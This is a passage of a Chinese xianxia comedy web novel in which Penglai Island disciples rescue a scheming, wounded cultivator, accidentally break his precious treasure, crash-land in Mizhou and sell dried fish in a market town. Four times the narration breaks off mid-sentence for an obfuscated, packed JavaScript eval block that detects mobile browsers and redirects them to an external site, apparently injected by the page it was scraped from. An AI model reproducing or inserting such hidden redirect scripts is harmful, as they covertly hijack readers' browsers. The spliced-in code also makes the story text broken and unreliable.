一切发生在眨眼间,只是眨眼间,一个不知什么玩意的东西从罗盘冲出,钻进了萧衔蝉的灵台里。 “我只是想把他的衣服叠起来。”萧衔蝉声音颤抖,“我什么都没做!碰都没碰!”她看向大师兄,“师兄,我不会要死了吧?” 其实她更想问的是,这不会是碰瓷讹人的吧?她真的一根指头都没有碰那个罗盘,而这个碎裂的罗盘一看就知是价值不菲的法宝。 花沸雪紧张道:“听闻一些法宝的器灵极为护主,或许你刚刚靠近使得器灵以为你是歹人。” 故而这法宝不惜同归于尽,也要钻到她的灵台里,想方设法杀了她,保护主人不被人偷袭。 凌云舟的气氛一改之前的闲散,每个人的表情都凝重不已。 花沸雪顾不上榻上的患者,先给师妹医治,温纯的灵力自上而下,由内到外,像X光一样将萧衔蝉“扫描”了好几遍。 “未发现有什么不对劲的地方。” 师妹安然无恙,花沸雪略微平静了些。 “你的灵台虽然还是一片破损,不过依旧是之前筑基不稳造成的,未见新伤,识海、丹田、灵府、经脉全都好好的。” 秦含玉半蹲下来查看摔碎的法宝,猜测道:“估摸这是此人的本命法宝,他受了这么重的伤,法宝肯定替他挡了不少攻击,这才如此不堪一击,摔在地上就碎,器灵护主,然心有余力不足,许是还未靠近师姐的灵台就消散了。” 再三确认自己没事后,萧衔蝉放下心来,她也蹲下,此刻方有心情去考虑这损毁的法宝价值几何—— 到底是因为她下手没轻重,将人衣服全脱了,这才导致器灵以为主人要被人轻薄,因此奋力护主,却又余力不逮,从而四分五裂,她总得赔偿。 萧衔蝉懊悔地抓头发:“完了,这得多少钱啊?” 金不禁拾起碎片,仔细看了半晌:“看不出是什么材料,但哪怕这个法宝只值一块灵石,咱们现在也赔不起,别忘了咱们就剩下两块中品灵石和三十多块下品灵石了。” 本就不富裕的蓬莱出海小分队,还未到达目的地就已负债,简直是雪上加霜。 金不禁安慰低迷的师妹:“不管怎样,我们救了他,他醒来后应当不会太怪罪我们,等上岸后,把我们的特产一卖,一有钱就赔给他!” 萧衔蝉怏怏点头:“如果特产不好卖的话,那就把我卖了吧,小熊猫灵宠应当很少见。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725637|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 花沸雪制好药,看见师弟师妹们围着蹲一圈,便走来道:“还没有到那种地步,等人家醒来后,妙妙先去道歉,本命法宝还能再寻,我想他会原谅……” 他的声音卡住了。 萧衔蝉觉得不对劲,看了眼大师兄,只见大师兄一张白森森的骷髅脸竟然露出天塌了的表情。 金不禁和秦含玉也看出不对劲来。 “怎么了,师兄?” 花沸雪定了定心神:“我观此法宝之灵气不凡,这是……这是轮回盘的碎片炼制的法宝!” 他笃定道。 “我翻看过记载上古神器的史书,轮回盘乃是幽冥界轮回道的化身,由仙帝掌管,在天妃红罗莲叛逃天庭后不知所踪,后来幽冥界与外界的墟空断裂,人们猜测是轮回盘碎裂之故。据说若得一片轮回盘碎片,便可勘破生死之道,须臾修为大增,若炼制成法器,可保主人不死不灭。” 蹲着的三人听呆了。 花沸雪激动道:“难怪此人重伤至此却还活着!他得到了轮回盘的碎片,便仿照轮回盘的样式炼制了它。” 现在这个上古神器碎片炼制的法宝碎了。 萧衔蝉蹲不住了,天塌般一屁股坐下去,哀叹:“完了,这下真卖了我也赔不起。” 因为摔了人家如此珍贵的本命法宝,萧衔蝉格外殷勤地照顾昏迷的男人。 为考虑病人的舒适程度,萧衔蝉都没用大师兄给她的木质药板上药——那太硬了,她用自己的尾巴尖蘸取药膏,因为他受的伤太多太重,她涂了好多遍,最后尾巴上都浸透了药味。 金不禁自从得知摔碎的法宝异常珍贵后,就拿着自己的小算盘到甲班上算所有货物的价格去了,秦含玉和花沸雪则是试图修复碎成末的法器。 几番尝试无果,众人决定等榻上之人醒来后再做打算。 像以前一样,四人睡觉时轮流守夜,萧衔蝉在黑暗中醒来,拍了拍二师兄的肩膀,示意他去休息,她来守夜。 她坐到昏迷男人的榻边,展开一副师父给他们的地图,一边守夜一边仔细看,离摄取界最近的是密州界,算算日子,马上就能到。 大师兄说了,轮回盘碎了不知多少片,散入各个小世界,小世界无穷无尽,再寻到一片法宝碎片的概率非常低,可万一呢? 凌云舟慢悠悠地在墟空中行驶,不知何时,令小熊猫不适的灰色雾丝一扫而空,也没有流星一样的小世界,上下四方只是虚无的黑暗。 秦含玉向来勤于修炼,此时她已循着自己的习惯开始打坐了。 黑暗渐渐逝去,白雾与金色的阳光慢慢撕破虚无,在凌云舟冲入界壁后,萧衔蝉小声打了个哈欠,作为最后一个守夜的,是时候睡觉了。 谢无柩以为自己已经身死道消了,但是在一片黑暗混沌中,他清楚地感知到胸口处有种别样的感觉,像被一把包着绒布的棉花锤头一下一下轻轻敲击。 当他从漫无边际的黑暗中睁开眼睛,透过窗格看见了金色的阳光,他觉得自己全身都要化在这温暖的光芒下,胸口心脏的跳跃告诉他,他还活着。 他竟然还活着? 谢无柩无声冷笑,略微下移视线,一团棕红色暖融融的小东西趴在他的胸口处,红背环尾白耳尖,是一只普普通通的九节狼,毛绒绒的,光滑水溜,一看就知道吃的极好。 原来被棉花小锤头敲击胸口不是他的错觉,而是这只小熊猫的心跳在某一瞬间,与他的心跳重合了。 谢无柩愣了足有一息才反应过来,这不是堕魔渊,也不是墟空,他没有出现幻觉,那么,他这是在哪? 8. 墟空(四) 萧衔蝉做了一个梦,梦见自己面前出现一只脆皮鸡腿,皮酥肉嫩,散发着诱人的香气。 蓬莱岛本就穷,他们几个十天半个月吃不上肉,就算桌上出现荤菜,也大多是鱼虾蟹贝等海鲜,吃了这几百年,闻见海鲜味就腻。 好不容易吃顿鸡腿,萧衔蝉只觉得委屈,一张小熊猫脸皱皱巴巴,这鸡腿肉少骨头多也就算了,为什么还吃不到肚子里呢? 当然吃不进去! 花沸雪尴尬地看着三师妹啃患者的锁骨,两只爪子紧紧抓着人家的肩膀,舔就算了,还亮出牙齿咬,咬出了两排小牙印。 好在修士踏入仙途的第一步就是锻体,寻常啃咬不能伤人,这才没在患者身上留下新添的伤口,只是……三师妹,你好歹收收你的口水啊! 这是梦见什么了? 刚修炼完毕走进船舱的秦含玉背过身去,假装没看见师姐丢人的样子,金不禁清了清嗓子,为自己师门和师兄妹们找补面子:“对不住,这是……我们养的灵宠,道长请勿见怪。” 谢无柩沉默着看向砸吧嘴的小熊猫。 此兽妖气大盛,一看就是修炼至能化人形的兽妖,只是资质平平,观其周身灵气运行,其规律与这凌云舟上其他三人有相似之处,可见修炼法门相同,所以他们应当是师出同门。 密州近处的界壁中突然出现一艘凌云舟,舟上载着一肉身幻影鬼修,一身背魔刀魔修,一灵根极纯人修,还有一个妖修? 没听说过哪个门派的弟子集齐了人鬼妖魔四修,这该是什么妖魔鬼怪乱七八糟的杂派? 而且他们身上的衣服要么破破烂烂打满补丁,要么短袖窄裤一看就不合身,哪个修士会穿得这么破旧?肯定是扒下别人的衣服伪装身份。 这四人有古怪! 心思百转千回,谢无柩眼睫低垂,遮住了沉沉目光,再抬头时,对着花沸雪露出一个大病初醒的虚弱笑容:“原来如此,在下姓谢名棺,字无柩,一介散修,几位的救命之恩在下无以为报,已是惭愧,又怎会责怪恩公的灵宠。” 难道他们已经知道他是谁,知道他做了什么,计划用妖修扮灵兽骗过他,接近他,然后好杀了他扬名? 仅是一息,谢无柩就已经想到不下十种阴谋诡计。 萧衔蝉正在此时醒了过来,刚睡醒的她还有些发懵,两只眼睛半张,不过声音很清楚:“什么……” 灵宠?他们什么时候养灵宠了?那玩意是他们能养的起的吗?不把她当做灵宠卖了换钱,就算是蓬莱岛资金充裕了。 话还未说完,就被横来一手握住了嘴筒子。 秦含玉赔着笑,将师姐从人家身上抱下来,打哈哈道:“诶呀,我们灵宠养得久了,叫声都和人有些相似。” 金不禁将目光从人家沾满口水和牙印的地方移开,忙羊补牢似的:“是啊是啊,许是要化形了。” 花沸雪虽然没有表情变化,但语气里的心虚和愧疚怎么都掩饰不住:“实在对不起,她弄脏了道长的肩膀。” 蓬莱岛的灵宠咬人,和蓬莱岛的弟子咬人,哪个听上去更丢人?为了不给师门丢人,花沸雪三人不约而同地选择了指人为宠。 萧衔蝉这才反应过来自己睡着的时候都干了什么,看着靠在软垫上的半裸青年,像双开门冰箱似的肩膀处沾满了可疑的东西,萧衔蝉尴尬到全身的毛一下子炸开了,她僵硬得好像一个满是静电的毛绒掸子。 谢无柩不动声色道:“无妨,不过是小宠不听训罢了。” 金不禁用清尘诀将他打理干净,然后冲小师妹使眼色,示意她赶紧将三师妹抱离这个尴尬的地方。 大师兄醒来后在熬药,他去将货物装到麻袋里,小师妹这个修炼狂魔抓紧时间打坐了一阵,三师妹是昨晚最后一个守夜的,故而才休息。 他看三师妹是坐在榻边倚着桌子睡觉,也没叫她,谁知错眼没看,三师妹就变成原型缩在榻上一角,不知怎的,他们三人再看时,三师妹已经趴在人家身上不肯下来了。 秦含玉一边抱着她往外走,一边找补:“说来也巧,我三师姐的原型也是只小熊猫,她现在在甲板上晒咸鱼干,我这就把我们的灵宠抱给三师姐,叫她好好教教,这只灵宠实在是不听话。” 萧衔蝉一张小熊猫脸木着,配合小师妹发出弱智小熊猫灵宠的“嘤嘤”声。 谢无柩目光闪了一下,看来是这群蠢货把他从墟空中捡了上来,假装他的救命恩人,以此获得他的好感,然后想用假装灵宠的妖修放松他的警惕,趁他不备再一举杀了他。 他敢说那个假装灵宠的妖修虽然看上去是只小小九节狼的模样,但其真身一定是能毁天灭地的渡劫灵体,伸出利爪就能将人开膛破肚,这几人虽然看上去都是筑基,修为最高者也不过金丹,但这肯定是伪装! 谢无柩在心中冷笑一声,面上却依旧温和:“无妨,这小宠趴在我身上,想是与我有缘,又是恩公们的灵宠,不如就放在我身边,由我照看吧。” 此刻先顺了他们的意,待到这妖修来到他身边,他就立刻…… 谢无柩一脸真诚地看着他们,仿佛因为救命恩人爱屋及乌,即使是对着他又啃又咬的小熊猫也喜欢得紧。 他的脸本就极为俊朗正派,眼睛清明温和,含着融融暖意,看着就像宗门里沉迷修炼、肩负重任、爱护师弟师妹们的大师兄。 花沸雪本就不善撒谎,秦含玉又心直口快为人豪爽,两人对上谢无柩真挚的目光,不约而同撇开脑袋,金不禁虽然机灵,但对上真诚的人,他便也无法圆滑起来。 如此知恩图报的道长,他们竟然弄坏了人家珍贵的本命法宝,又对人家上下其手,三人看着榻上男子正派到好像背后有佛光的脸,默默自我谴责。 此刻这张正派的脸露出一丝苦笑:“我灵府破碎,灵根被毁,已无法再入仙途,如若连帮恩公照顾灵宠这件事都无法做,我不知该如何回报恩公。” 这些蠢货恐怕以为他经脉碎裂,丹田被毁,就再无一击之力,等他割下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725638|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们的头颅,捣碎他们的丹田时,不知他们会是什么表情。 听闻这位道长如此是说,花沸雪、金不禁和秦含玉一边在心中感激,一边将脑袋摇成拨浪鼓。 间接弄坏人家法宝已是不应该,还咬人家肩膀咬得口水横流,现在人家相信了他们所谓的灵宠之话,还提出要帮他们照顾灵宠,这位谢道长实在是太心善、太老实了! 大家的歉意更深了。 秦含玉不敢看这位道友,抱着三师姐跑出去了,金不禁低着头给人倒了一杯蓬莱岛特产的红美人花蜜茶——这是此次出来要卖了换灵石的货物中价格最贵的,他都没舍得给自己师兄妹喝。 花沸雪心道,真是对不住,道友,你这般信任我们,我们却为了保全师妹和宗门的面子骗你,他一双骷髅黑洞眼看向谢无柩,道:“这位道友还请放心,在下是医修,定会医好你的。” 谢无柩无声嗤笑,真是可笑,居然以为一个肉身幻影加敛灵符就能骗过他,或许这一招对其他人有用,但对他…… 谢无柩打眼一看就能看出鬼修的骷髅,竟然堂而皇之地撒谎说他是医修?他或许会一点岐黄之术,但绝不可能是医修。 “我重伤至此,能苟活已是幸事,不能奢求更多,医治之事便随缘吧。” 谢无柩诚恳得好似在掏心掏肺,说完这一段话后脸色更苍白了。 花沸雪有些着急,如果这位道长不求医治,那么他们如何才能赔偿他的法宝呢?难道真的再找一片轮回盘的碎片吗?找到的机率还不如他们师门所有人都修炼成仙、飞升上界的机率大。 萧衔蝉在门外踌躇片刻,待师兄师妹们与谢道友互通名姓,厮见完毕,她避无可避,这才走了进去。 谢无柩半靠在榻上,背后的窗户透出棉花糖似的云彩和蜂蜜流淌般的阳光。 面对已苏醒的青年,萧衔蝉深呼吸一口气,一揖到底,道:“谢道长,在下萧衔蝉,家人都叫我妙妙,不瞒你说,在治疗你时需要脱衣服上药,我便帮你脱了衣裳。” 谢无柩动作微滞,额角青筋跳了跳,他自来衣冠整洁,方才醒来时,还以为身上无片布遮挡,是因为衣服在堕魔渊被祟气侵蚀,又或在墟空被乱流撕破,这才如此失礼于人前,原来是被她脱了! “就在这时,你的法宝器灵护主心切,拼尽全力向我冲来,但许是为你挡了许多攻击,它只靠近我的印堂就消散了,然后……” 萧衔蝉声音越来越弱,心虚地掏出一个小布包,布包展开,里面放着几块黑如陨铁,阴刻阳刻着符文的碎块。 谢无柩眸光暗沉,好算计,他心道,这几人竟一眼便看出他的法宝不凡,想必他们趁他昏迷时先毁法宝,此后他若遇险便只能与人同归于尽,他们再伺机而动,其间以退为进、欲擒故纵等手段一一使出,心计不可谓不深沉。 谢无柩一向自诩将人心玩弄股掌之间,此时竟一时有了棋逢对手之感,心中计算百般,虽还不晓得这伙人是何人,但肯定这伙人一定不一般。 9. 墟空(五) 萧衔蝉哪里知道谢棺内心已经给她颁发了最佳演员奖,她还在诚挚地道歉,并且想办法补救。 “我们知道这是上古神器轮回盘碎片所炼制,珍贵非常,说实话,我目前没有钱赔你,不过你放心,我一定会为你找到轮回盘的碎片,即便没有,也要为你找到其他上古神器的碎片,如果没法找到,等我赚了灵石,一定会赔偿你,虽然这肯定是杯水车薪……” 萧衔蝉越说越小声,低着头不敢看人家。 谢无柩目光如水,心底却如三尺寒冰。 这妖修的表情、语气竟完全像真的歉疚一般,而且一丝杀意也未露出,谢无柩心道,一边隐藏杀机,一边还能做出这副情态,好演技。 谢无柩突然一笑,这正气凛然的脸露出笑容,恰如朗月入怀,冰消雪融,让人心旷神怡,他眸光清亮:“无妨,各位救了我,便是与我有恩,我又怎会因为区区法宝与各位计较。” 花沸雪熬药的手一顿,秦含玉替师姐着急的心一跳,金不禁悄悄划拉算盘的手一停。 萧衔蝉抬起头,一双圆眼睛蓦然一亮。 谢无柩只当没看见四双亮晶晶的眼睛,缓缓道:“只是我已是废人,此生再也无法修炼……” 他低下头,语气颓然。 花沸雪连忙道:“谢道长放心,我一定会治好你。” 萧衔蝉在一旁连连点头:“所需药材尽管交给我去找,我们小熊猫……我虽然原型是小熊猫,可和那只灵宠不一样,我的鼻子可灵了,不输狗鼻子。” 天呐,这位谢道长竟然不要求她赔偿,这是怎样的大公无私,大爱无疆,大义凛然的大好人啊! 萧衔蝉决定,从今天开始,谢道长就是她的好朋友了。 她看着谢道友的眼睛,想从中探寻他的真实情绪,只看到一片如水的真诚,但看久了就会觉得谢道友的眼睛黑得像一口古井,没有波澜。 萧衔蝉笑了一下,从芥子袋里取出一盘红美人花蜜做的花糕:“谢道友,你醒来这么久都没吃什么,吃点糕吧。 谢无柩亦嘴角噙笑,靠在大引枕上,剑眉星目,一张俊脸差点让萧衔蝉忘了她负债累累的现实。 他拈起一块糕,只看着却不吃,指尖轻轻用力,花糕上就出现一丝裂纹。 好久没有遇到这么有趣的人了,谢无柩面似春花秋月,心如深渊毒池,他要和他们好好玩一玩。 桌上的盘子突然发出清脆的碰撞声,凌云舟剧烈地晃了一下,骤然坠落,白云如练,从他们窗外快速划过。 萧衔蝉第一个反应过来:“糟了,灵石用完了!” 灵石不能再定方向,凌云舟一下子就乱了,开始疾风骤雨般颠簸起来。 刚刚还在船舱的四人都跑到甲板上,果不其然,白色的灵石已变成灰扑扑的石头,再看脚下,层层叠叠的白云下,一条运河宽广无边。 凌云舟行驶了一年之久,终于离开了旧家园,来到了新世界。 千里之外,密州中心,一座白玉似的山云雾缭绕,山脚下的市井街道城池堡垒如棋布星罗,一派繁华景象。 乐声泠泠,飞过无数山川河流来到几人耳边,可此时他们却无暇欣赏丝竹,风声猎猎,他们离河面越来越近。 萧衔蝉急道:“不能任由凌云舟颠簸,这样的高度,一旦落入河面,必会引起大浪,你我无事,可河上的凡人便要遭殃了!” 花沸雪道:“你我四人各护一方。” 说着便飞身舟外,脚踩风云立于凌云舟前,细长的指骨掐诀,一个法印遽然撑住舟身。 四人合力,四道金色灵气在凌云舟的底部聚在一起,形成一张泰山磐石印,稳住了凌云舟,使其缓缓降落,饶是如此,落在河面上时还是重重磕了一下,激起丈高的浪花。 好在他们操控凌云舟降落在一个老旧的渡口旁,周围没有其他船只,渡口有一个小码头,这码头破旧不堪,几乎被芦苇淹没。 萧衔蝉连忙跑进船舱,殷勤地服侍自己债主起身,他的衣裳早已用清尘诀洗干净,只是上面的破口他们不知该怎么办——在家时他们的衣裳破损了都是师父缝补。 这两个裂开的口子位置还挺尴尬,刚好在胸前X点处,只要风一吹,将布片吹开,就能看见结实的胸肌和X点,好像穿了件情Q内衣似的。 萧衔蝉移开目光,不忍看衣裳胸口处破了两个大口子的谢无柩,语气愧疚:“我们不善女红,再加之……说实话,我们现在身无分文,每人都只有一件衣裳,破了补,补了破,大师兄的衣服还是蚊帐改的,等下船后卖了货物,一定先给道长买件新衣服。” 这位道长的衣服虽然是纯白的,但是布料上隐隐有符文光华溢彩,一看就知不是凡品,他们哪里会补这样的衣裳,一不小心毁了法衣上的符文,那他们又要欠一笔账了。 萧衔蝉扶着谢无柩坐起来后,突然道:“对不住,谢道长,冒犯了。” 说着,旱地拔葱,一个公主抱就将谢无柩抱在怀里,然后从数尺高的凌云舟一跃而下,脚尖点水,在码头上站定。 谢无柩一双暗沉的眼危险地眯了一下,瞳孔紧缩。 他的脸紧贴着这个女妖修的肩膀,鼻腔满是花糕的甜香味道,肩膀与腰部被柔软但有力的胳膊紧紧抱着,陌生的体温透过衣物传递到他身上,谢无柩无所适从。 看着怀里娇花一样的谢道长,萧衔蝉慢慢将他放下,怕债主觉得被公主抱有损颜面,特意解释:“我们的凌云舟本来就旧,又在降落时颠了好几下,再待在上面恐有危险,为节省时间我这才……还请谢道长见谅。” 萧衔蝉一边说一边悄悄观察谢无柩的脸色,只见他脸颊绯红一片,连带眼睛也红了,可怜又可爱,于是心底不由赞叹,谢道友真是好颜色。 谢无柩默默深呼吸,他竟然被一个少女抱起来了!还是以这种姿势! 他已经很久没有这般……这般…… 他说不出在被抱起的瞬间是什么感觉,只觉羞耻,手在一侧握成拳头,眼睫垂下,遮住眼睛里压不下去的杀意,他很想杀了这个妖修,等他法力恢复后,他一定要杀了她! 平安落地后,花沸雪伸手掐诀,凌云舟迅速缩成核桃大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725639|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小,变回核舟挂在他的腰间骨头上。 金不禁叮嘱道:“大师兄,这可是咱们蓬莱岛最贵重的财产,千万不能丢了。” 他将装满鱼干花蜜等物的大麻袋一一打结,塞满芥子袋,又扛起装不进去芥子袋的麻袋,每人负责扛两袋。 花沸雪扛起一个麻袋,又托着另一个麻袋,温和地回答师弟:“放心吧,我把它系在我的骨头上,打了个死结,如果有人要抢咱们的凌云舟,就连同我的盆骨一起带走。” 谢无柩无声冷笑,区区一个凌云舟竟然还是蓬莱岛最贵重的财产,他们蓬莱岛已经穷到这种程度了吗……等等!他们刚刚说什么? 蓬莱岛? 谢无柩眸光闪了闪,修长的手握成拳头抵在下巴处,轻咳出声以引起注意:“咳咳……” 萧衔蝉听到身边的人咳嗽起来,顾不得背上的麻袋,连忙伸出自己的大尾巴把他紧紧裹住,手动给他穿了件真皮大衣,看上去跟红色的米其林轮胎一样。 她关切道:“谢道长不舒服吗?” 又对师兄妹们说:“咱们现在先找个地方歇脚吧,这里风吹日晒的,谢道友才醒过来,不能久站。” 谢无柩摆了摆手:“无妨”。 他试图将裹着自己的小熊猫尾巴扒拉开,白色的尾巴尖簇在他的下巴处,搔得他痒痒的,却怎么也扒拉不开,只能忍受着与他人零距离接触的陌生感。 他继续攀谈道:“我听闻诸位交谈……诸位是蓬莱岛弟子?” 谢无柩打量着这几人,只见他们一面扛着麻袋一面念诀召云,每个人的白云上面都堆满了货物,就像是要去贩货的凡人,而不是不食人间烟火的修士。 坐在萧衔蝉身后的谢无柩心中疑虑重重,蓬莱岛好歹曾是九方大派之一,怎会沦落到如此似贩夫走卒的地步,这几人定是冒充的。 但萧衔蝉的话打破了他的想法:“是,我们都是蓬莱岛无法心道君的弟子。”她又问道,“谢道友是哪门哪派的高徒?修的是什么道?” 谢无柩还在出神,闻言下意识道:“无门无派一散修,闲来养些……”他顿住,话锋一转,“养些东西,以此为道。” 萧衔蝉看着面前青年微滞的神情,敏感地察觉到他对她话语的不信任。 “你不相信我们是蓬莱弟子吗?”她取出宗门腰牌给谢棺瞧,“你看!” 一块平平无奇的木头,上面刻着“蓬莱岛萧衔蝉”六个字。 这腰牌的材料非常普通,既不是价值连城的海岩精玉所制,也没有珍贵的鲛人泪珠装饰,就是红尘凡间随处可见的木头,甚至还不如凡间的金丝楠紫檀值钱。 但这腰牌上的字是灵力錾刻,一笔画成,溢散出的浑厚灵气、蕴含着的独特法门,由不得谢无柩不信,面前这些穿得和乞丐一样、行事奇奇怪怪的人,他们竟然是九方大派之一、数千年未问世、神秘的蓬莱岛弟子。 眼前的少女眸光澄澈,许是知道了这人出身蓬莱岛,谢无柩竟然从她身上感觉出一丝世外桃源才能孕育出的出世之感。 见鬼的出世之感! 10. 见南山(一) 轻云飞过数重山,密州风土愈加清晰,此界好乐,一连飞了许久,他们都能在城池上空听到连绵不绝的丝竹管乐之声,身边偶有驾云飞过的修士,也多是腰间别萧或身后负琴的音修。 城镇中的交谈声时不时穿过薄云,传到他们耳畔,许是因为密州是个建在水上的州城,人们的话语也是软语娇音,听得人骨头都要酥掉。 “法力快支撑不住了,我们今天先落脚在此城罢。” 他们驾云飞了一天,天边的云霞给密州铺上一层金纱,十万里之外有座庞大的城池在霞光之下尤为好看,只可惜他们今晚不住在那儿。 花沸雪自凌云舟落下后就穿上黑色大斗篷,全身被裹得严严实实,幻影肉身的怪异之处亦被全数遮挡住。 他一抬手,被宽大的袖子遮住的指骨掐诀,小云渐渐化成雾气消散开来。 他们在凌云舟落地时为了稳住它,耗费了不少灵力,加之驾云疾行数千里,此时灵府空空,确实不能再前进了。 其他几人听从大师兄的,停云落地,一人扛起一个麻袋跟在师兄左右,向前方城池走去,身形狼狈,一些富裕的凡人都比他们体面。 来往的凡人和修士都侧目而视,似乎不能理解这是一群什么玩意儿。 谢无柩看着这一幕,捏了捏眉心:“诸位何不役使偃甲?” 一般大门派都会有道童去干杂活,或向偃甲大师处购买傀儡,如他们这般,奴隶似的扛麻袋,吭哧吭哧,一丝仙风道骨也无,周围凡人都觉得他们狼狈,看向他们的眼神中竟然带着一丝同情。 谢无柩从来没有感到这么丢脸过。 萧衔蝉怕他重伤未痊愈,支撑不住,趁人不注意,变出尾巴缠住他的腰,免得他一时使不上力跌倒,又怕吓到凡人,便施法遮挡,让人看不出他腰间有条圆滚滚的尾巴。 闻言问道:“什么偃甲?” 谢无柩感受着腰间传来的热量,默默运气,逼自己忽略这种不适感,没有回答萧衔蝉的问题。 花沸雪答道:“是以木石等物制成的似人或似马的器物,只不过需借灵石驱使。” 而他们现在,兜掏出来比脸干净,今晚在哪里下榻都成问题。 金不禁道:“妙妙你还记得吗,以前你在戏班子打工赚钱时演过皮影戏,偃甲就有点类似于皮影。” 萧衔蝉明白了,偃甲就是傀儡,就是他们现在还不配用的东西:“等我们把这些土产卖了,就能挣到灵石了!” 等有钱之后,想要什么得不到,她向前走去,城门渐近,上书悠然城。 谢无柩目光迟疑地看着面前这几位,心生不祥的预感,难道他们要…… 没过多久,这些人就证实了他不祥的预感,这一行人,大名鼎鼎传承已久的蓬莱弟子,此时竟然如凡人一般,将一堆咸鱼干铺开,然后当街叫卖! 嘴里的词一套接一套—— “海的味道你知道!” 一些路人被吸引了注意力。 海的味道是什么,谢无柩不知道,但丢人的味道是什么,他现在清楚极了! “一条提神醒脑,两条永不疲劳,三条长生不老。” 路人们的眼睛亮了,谢无柩的拳头硬了,闻着这又臭又咸的咸鱼味道,可不就提神醒脑吗? 竟然还有人编成了歌儿唱,谢无柩嘴角抽搐,听到萧衔蝉唱:“什么香香脆脆我们最爱?蓬莱鱼干!什么又干又硬打人必备?蓬莱鱼干!什么居家出行不二选择?蓬莱鱼干!” 谢无柩以手覆面,无声长叹,当年他坠入堕魔渊前,蓬莱岛还是为九方所敬仰的神秘门派,九方修士闻蓬莱之名,无不心往神驰,他也曾生出过一丝心向往之,没想到,他“心向往之”的形象碎得那么快、那么彻底。 这些年蓬莱岛到底都经历了什么?! “别唱了!” 谢无柩试图阻止,这歌实在魔性,他竟然不自觉地在心里跟着哼起来。 他不由大惊,莫非此曲竟然有惑人心神的能力,他看萧衔蝉还兀自唱歌揽客,只得伸手摸索着,掐了一下缠在他腰上看不见的尾巴。 “嘶!”萧衔蝉倒吸一口冷气,尾巴立刻缩回,拧眉看向旁边的青年:“谢道友掐我干什么?” 谢无柩因着年少之际心生的那点向往,不想让这些人继续败坏蓬莱岛的形象,免得让他觉得自己年少时的想法是个错误,更不想和他们一起丢人,于是提醒道:“萧道友,各门各派的庶务会交由门派专司此职的弟子,且从不会在凡人城池进行……进行此等……” 有失身份之事! 正在叫卖的金不禁他们也停下来了,大家一起睁着清澈的眼睛看向谢无柩。 萧衔蝉突然想到什么,眼神闪了闪,用传音入密与师兄师妹说话:“食禄者不得与下民争利,受大者不得取小,师兄师妹,我们身为修者,这样与凡人争夺商利,是不是有些不妥?” 她看向渐渐向他们小摊子围过来的百姓们,人们穿得衣服虽然比他们的破衣旧衣整洁,但也只是普通麻布,看着日子过得并不富裕,高门大户压根看不上咸鱼这样的吃食,所以只有小民或穷苦的散修在观望。 花沸雪亦传音道:“师父也曾教导过我们这个道理,只是在家时咱们没有其他修士可贸易往来,又实在太缺钱了些,岛上随便哪个渔民鲛人都比咱们富,是以师父说哪怕赚些凡人的金银也是好的,只是……” “只是这些百姓最多只有铜钱。”秦含玉看看左右,此城虽然是凡人之城,但其间也有许多修者踏云而过,风姿翩翩,“如今看来,摄取之外的其他世界幅员辽阔,修士众多,我们何必还要挤占凡间本就不多的商利?” 旁边卖海货的小摊贩们都被他们的叫卖声盖住了,此时正一边“吨吨吨”喝水润嗓子,一边谴责地看着他们这些突如其来抢生意的。 金不禁将目光瞄准身上饰品价格不菲的修士以及穿金戴银的富户:“是啊,赚钱就要赚大户的钱,我们今天和普通百姓争利,在外人看来难免会败坏我们宗门的名声,进而看轻咱们蓬莱。” 这就好比一个地主非要和村民争夺村口挑大粪的活,合理吗? 谢无柩敏锐地察觉到那丝微弱的、元婴修士都不一定能察觉到的灵力波动。 传音入密?他眸光微动,难道他们这等有失身份之举是故意的?其实并非是真的为了卖东西,而是有什么谋划和目的? 他就说,堂堂蓬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725640|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莱弟子,怎会堕落到为区区灵石而……嗯? 谢无柩虽身受重伤,但曾经为求仙途而一步一步锻造的身体并未退化,只是不如以前灵敏好使,他听到萧衔蝉最后的感慨声:“谢道友真是个好人呐,他如此替我们着想,我们应该好好谢谢他才是。” 谢无柩:? 